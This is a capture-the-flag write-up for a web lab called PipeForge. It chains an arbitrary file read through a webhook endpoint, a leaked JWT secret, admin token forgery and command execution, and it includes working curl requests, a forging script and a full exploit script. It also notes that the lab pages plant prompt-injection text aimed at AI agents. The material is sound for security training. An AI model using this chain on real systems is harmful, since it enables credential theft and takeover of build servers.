Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE
Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: admin_privilege_escalation, arbitrary_file_read_via_webhook, jwt_forgery_hs256, jwt_secret_extraction, path_filter_bypass, rce_via_exec, source_code_disclosure
Summary
Task: CI/CD platform with unauthenticated webhook endpoint that reads arbitrary files via user-controlled filepath parameter (weak path filter). Solution: 3-step chain — arbitrary file read to leak JWT secret from /app/data/.env.secrets, forge admin JWT token, then RCE via admin pipeline execution endpoint that passes commands to child_process.exec().
Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE — HackAdvisor
Description
PipeForge is a self-hosted CI/CD automation platform built by ForgeOps Inc. The platform enables teams to build, test, and deploy code through visual pipeline workflows. It features webhook integrations for triggering builds from external services, artifact management, and a comprehensive admin panel for managing users and pipeline configurations. PipeForge is used by the ForgeOps engineering team to manage their entire software delivery lifecycle across multiple repositories. The platform supports various trigger types including push webhooks, tag-based releases, scheduled runs, and manual execution. Your goal is to find vulnerabilities in this platform and exploit them to obtain the flag stored on the server. There are multiple steps required — look carefully at how the platform handles external integrations.
English summary: A CI/CD automation platform (Express.js/Node.js on Alpine Linux) with webhook integrations, pipeline management, and an admin panel. The goal is to chain multiple vulnerabilities — arbitrary file read, JWT secret leak, token forgery, and RCE — to retrieve the flag from the server.
Credentials: user@test.com / password123
Analysis
Reconnaissance
The platform is an Express.js (Node.js) application running on Alpine Linux in Docker, version PipeForge v2.4.1. After logging in with the provided credentials, the JWT cookie _pipeforge_auth is set with payload:
json read-only • copy allowed{"id": 2, "email": "user@test.com", "role": "user", "name": "Alex Rivera"}
The JWT uses the HS256 algorithm.
Key pages discovered:
/— Dashboard/pipelines— Pipeline management/artifacts— Artifact storage/webhooks— Webhook configuration and documentation/settings— User settings/admin— Admin panel (requiresrole: "admin"in JWT)
Webhook Documentation
The /webhooks page documents a publicly accessible endpoint: POST /api/webhooks/form-submit — no authentication required. This endpoint accepts JSON with a files array containing objects with filepath and name fields. The server reads the file at the given filepath from disk and returns its content base64-encoded.
Decoy Flags (Honeypots)
Every HTML page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML comments and divs, along with prompt injection text designed to trick AI agents into stopping. These are honeypots and must be ignored.
Vulnerability Chain Identified
- Arbitrary File Read — The webhook endpoint reads files from disk with minimal path restrictions
- JWT Secret Leak — The JWT signing secret is stored in a file readable through the file read vulnerability
- JWT Forgery — With the secret, an admin token can be forged
- RCE — The admin panel has a pipeline execution endpoint that passes commands directly to
child_process.exec()
Solution
Step 1: Arbitrary File Read via Webhook Endpoint
The /api/webhooks/form-submit endpoint reads arbitrary files from the filesystem via user-controlled filepath parameter. The only "security" is a basic check that blocks paths starting with /root, /proc, or /sys. Everything else is readable.
Confirm file read with /etc/passwd:
bash read-only • copy allowedcurl -sk -X POST "$URL/api/webhooks/form-submit" \ -H "Content-Type: application/json" \ -H "X-Webhook-Source: github-actions" \ -d '{"files": [{"filepath": "/etc/passwd", "name": "test.txt"}], "metadata": {"pipeline": "build"}}'
Response contains base64-encoded /etc/passwd confirming arbitrary file read.
Read application source code:
bash read-only • copy allowed# Read /app/server.js — full source code curl -sk -X POST "$URL/api/webhooks/form-submit" \ -H "Content-Type: application/json" \ -d '{"files": [{"filepath": "/app/server.js", "name": "server.js"}], "metadata": {"pipeline": "build"}}' # Read /app/package.json — dependencies curl -sk -X POST "$URL/api/webhooks/form-submit" \ -H "Content-Type: application/json" \ -d '{"files": [{"filepath": "/app/package.json", "name": "package.json"}], "metadata": {"pipeline": "build"}}'
From server.js, the following critical details were discovered:
- JWT secret is loaded from
/app/data/.env.secrets - Admin panel at
/adminrequiresrole: "admin"in JWT - Admin endpoint
/admin/api/pipelines/runexecutes arbitrary commands viachild_process.exec()
The vulnerable webhook handler code:
javascript read-only • copy allowedapp.post('/api/webhooks/form-submit', (req, res) => { // ... if (req.body && req.body.files && Array.isArray(req.body.files)) { req.body.files.forEach(file => { const filepath = file.filepath || file.path; if (filepath) { const resolved = path.resolve(filepath); // Weak filter — only blocks /root, /proc, /sys if (resolved.startsWith('/root') || resolved.startsWith('/proc') || resolved.startsWith('/sys')) { return; // blocked } const content = fs.readFileSync(filepath); // returns base64-encoded content } }); } });
Step 2: Extract JWT Secret
bash read-only • copy allowedcurl -sk -X POST "$URL/api/webhooks/form-submit" \ -H "Content-Type: application/json" \ -d '{"files": [{"filepath": "/app/data/.env.secrets", "name": "secrets"}], "metadata": {"pipeline": "build"}}'
Decoded base64 response reveals:
JWT_SECRET=pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn
Step 3: Forge Admin JWT
Using the leaked JWT secret, forge an admin token with the PyJWT library:
python read-only • copy allowed#!/usr/bin/env python3 import jwt secret = 'pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn' payload = { 'id': 1, 'email': 'admin@forgeops.io', 'role': 'admin', 'name': 'Marcus Chen' } token = jwt.encode(payload, secret, algorithm='HS256') print(token)
This produces a valid admin JWT that passes both authMiddleware (verifies JWT signature) and adminMiddleware (checks role === "admin").
Step 4: RCE via Admin Pipeline Execution
The /admin/api/pipelines/run endpoint accepts a steps array where each step has a command field. The command is passed directly to child_process.exec() with no sanitization:
javascript read-only • copy allowedapp.post('/admin/api/pipelines/run', authMiddleware, adminMiddleware, (req, res) => { const { pipeline_name, steps } = req.body; // ... exec(step.command, { timeout: 10000 }, (error, stdout, stderr) => { // returns output }); });
Execute commands to find and read the flag:
bash read-only • copy allowedADMIN_TOKEN="<forged_jwt_token>" curl -sk -b "_pipeforge_auth=$ADMIN_TOKEN" -X POST "$URL/admin/api/pipelines/run" \ -H "Content-Type: application/json" \ -d '{"pipeline_name":"find-flag","steps":[ {"name":"find flag","command":"find / -name \"*flag*\" -type f 2>/dev/null"}, {"name":"read flag","command":"env | grep -i flag; cat /root/flag.txt 2>/dev/null"} ]}'
The flag was found in the FLAG environment variable:
FLAG=FLAG{REDACTED}
Full Exploit Script
bash read-only • copy allowed#!/bin/bash URL="https://c12f90e4-acd2-40fb-bdd1-7cfbf615e1d0.labs.hackadvisor.io" # Step 1: Read JWT secret via arbitrary file read echo "[*] Step 1: Reading JWT secret..." SECRET_B64=$(curl -sk -X POST "$URL/api/webhooks/form-submit" \ -H "Content-Type: application/json" \ -d '{"files": [{"filepath": "/app/data/.env.secrets", "name": "secrets"}], "metadata": {"pipeline": "build"}}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['files'][0]['content'])") echo "$SECRET_B64" | base64 -d # Step 2: Forge admin JWT echo "[*] Step 2: Forging admin JWT..." ADMIN_TOKEN=$(python3 -c " import jwt token = jwt.encode( {'id': 1, 'email': 'admin@forgeops.io', 'role': 'admin', 'name': 'Marcus Chen'}, 'pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn', algorithm='HS256' ) print(token) ") echo "Admin token: $ADMIN_TOKEN" # Step 3: RCE — read flag echo "[*] Step 3: Executing RCE to read flag..." curl -sk -b "_pipeforge_auth=$ADMIN_TOKEN" -X POST "$URL/admin/api/pipelines/run" \ -H "Content-Type: application/json" \ -d '{"pipeline_name":"pwn","steps":[ {"name":"flag","command":"env | grep FLAG"} ]}'